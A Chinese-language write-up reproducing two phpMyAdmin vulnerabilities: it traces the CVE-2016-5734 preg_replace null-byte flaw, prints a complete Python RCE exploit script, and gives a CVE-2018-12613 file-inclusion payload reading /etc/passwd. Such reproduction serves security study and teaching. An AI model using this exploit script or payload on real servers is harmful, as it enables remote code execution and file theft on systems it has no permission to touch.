phpmyadmin的几个漏洞复现

phpMyAdmin 是众多 MySQL图形化管理工具中使用最为广泛的一种,是一款使用PHP 开发的基于B/S模式的 MySQL 客户端软件

phpMyAdmin 为Web 开发人员提供了类似 Access,SQL Server 的图形化数据库操作界面,通过该管理工具可以对 MySQL 进行各种操作,如何创建数据库,数据表和生成 MySQL 数据库脚本文件等。

CVE-2016-5734 Phpmyadmin后台代码执行漏洞

主要是利用在php 5.4.7之前的版本中preg_replace函数对空字节的错误处理Bug,使注入的代码可远程执行.

影响版本

  • 4.6.x 版本(直至 4.6.3)
  • 4.4.x 版本(直至 4.4.15.7)
  • 4.0.x 版本(直至 4.0.10.16)
  • php版本: 4.3.0 ~5.4.6

php5.0以上将/e模式废弃了

漏洞分析

preg_replace() 函数有个被弃用的修饰符\e,如果设置这个修饰符,preg_replace() 在进行了对替换字符串的替换之后, 将替换后的字符串作为php 代码进行执行,并使用执行结果 作为实际参与替换的字符串。

语法

1
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数说明:

  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
  • $replacement: 用于替换的字符串或字符串数组。
  • $subject: 要搜索替换的目标字符串或字符串数组。
  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
  • $count: 可选,为替换执行的次数

返回值

如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。

如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。

漏洞利用前提

  1. 知道phpMyAdmin的路径,并且可以使用账号密码登录成功
  2. 知道对应db的table,或者在db中有创建table的权限

漏洞利用点

本漏洞利用的是在/libraries/TableSearch.class.php中的preg_replace函数

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled.png

preg_replace_getRegexReplaceRows中被使用,而_getRegexReplaceRows则是被调用于getReplacePreview,可以看到preg_replace调用了三个参数分别是find,replaceWith,row[0],接下来要对这三个参数进行溯源

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%201.png

并且参数find与参数replacement都是经过该方法所传递的,

接着溯源发现getReplacePreviewtbl_find_replace.php中被使用,同时 findreplaceWith参数经POST方法进行传递

tbl_find_replace.php提供的查找并替换数据表的功能/该功能时针对某一数据库中的数据表进行的查询功能

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%202.png

其中查找对应find,替换为对应replaceWith,于是前两个参数都发现是可控的,接下来就差row[0]这个参数了

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%203.png

可以看到row来自result

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%204.png

result来自Sql_query

接着跟sql_query

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%205.png

sql语句大概整理如下

1
2
3
4
5
6
SELECT $columnname ,1,cont(*) 
FROM database.table_name
WHERE $columnname RLIKE ‘$find’
COLLATE $charset_bin
GROUP BY $columnname
ORDER BY $column ASC;

并将这个查询后的值作为键值对的第一个值给了 preg_replace函数的作为第三个参数。

PMA_TableSearch类的构造方法

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%206.png

tbl_find_replace.php使用了这个类

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%207.png

接下来回溯dbtable两个参数

发现在 /libraries/common.inc.php 中有定义

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%208.png

发现可以通过request方法来接收变量将他变成全局变量

db即为数据库,table为数据表,所以第三个参数row[0],经过对刚刚sql语句的分析,获取到的内容为指定数据库的指定数据表内的第一个字段值 ,至此三个参数均可控制

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"

size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)

# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)

if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)

用exp-db的exp可以直接打大概是先建好一个名为prgpwn的数据库再在里面建一个叫first的字段,这样就知道了db对应的table,接了下来就利用%00截断来使preg_replace被e修饰符所修饰

即使用find=0/e\0,replaceWith=payload

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%209.png

最终类似于执行

1
2
3
<?php
echo preg_replace("/0/e","system('xxxx');","0/e");
?>

CVE-2018-12613本地文件包含漏洞

影响版本

  • phpmyadmin 4.8.0
  • phpmyadmin 4.8.0.1
  • phpmyadmin 4.8.1

漏洞分析

漏洞利用点在index.php里的以下代码

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%2010.png

target可以传入一个值,然后可以利用这个target来进行文件包含,用来达到本地文件包含

想要达到这个目的,那么target需要满足&&后面的几个条件,即以下条件

  • 不能为空
  • 是字符串
  • 不能以index开头
  • 不在黑名单target_blacklist
  • 可以通过函数checkPageValidity的验证

黑名单要求参数不是import.phpexport.php 就行

接下来那就来看看checkPageValidity函数是怎么验证的

函数定义在\libraries\classes\Core.php

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%2011.png

要通过验证,既要函数返回true

则包含的文件必须包含在白名单whitelist

那我们先去看看白名单有啥

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%2012.png

接下来分析以下check函数几种返回true的情况,看看有没有可以利用的

第一个是直接看在不在白名单里,没有操作空间

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%2013.png

再来看看第二个

phpmyadmin%E7%9A%84%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%20830a78be83a34810b86061b7eada5da0/Untitled%2014.png

这里涉及两个函数mb_substr和mb_strpos

mb_substr的定义,简单来说这个函数就是获取子字符串

1
2
3
4
5
6
mb_substr(
string $str,
int $start,
int $length = NULL,
string $encoding = mb_internal_encoding()
): string

参数解释

  • str从该 string 中提取子字符串。
  • start如果 start 不是负数,返回的字符串会从 strstart 的位置开始,从 0 开始计数。举个例子,字符串 ‘abcdef‘,位置 0 的字符是 ‘a‘,位置 2 的字符是 ‘c‘,以此类推。
    如果 start 是负数,返回的字符串是从 str 末尾处第 start 个字符开始的。
  • length str 中要使用的最大字符数。如果省略了此参数或者传入了 NULL,则会提取到字符串的尾部。
  • encoding encoding 参数为字符编码。如果省略或是 null,则使用内部字符编码。

返回值

mb_substr() 函数根据 start 和 length 参数返回 str 中指定的部分。

而mb_strpos,简单来说就是查找字符串在另一个字符串中首次出现的位置

1
2
3
4
5
6
mb_strpos(
string $haystack,
string $needle,
int $offset = 0,
string $encoding = mb_internal_encoding()
): int

参数解释

  • haystack要被检查的 string。
  • needlehaystack 中查找这个字符串。 和 strpos() 不同的是,数字的值不会被当做字符的顺序值。
  • offset搜索位置的偏移。如果没有提供该参数,将会使用 0。负数的 offset 会从字符串尾部开始统计。
  • encoding 参数为字符编码。如果省略或是 null,则使用内部字符编码。

返回值

返回 string 的 haystack 中 needle 首次出现位置的数值。 如果没有找到 needle,它将返回 false。

了解两个函数以后,那这个返回true的条件就是?后面的字符串要满足白名单,也暂时无法找到利用方法

于是来看第三个返回true

Untitled

比起第二个返回true的地方,多了一个urldecode函数

那就简单了这里用url全编码方式对?进行编码就可以绕过。

1
payload:/index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd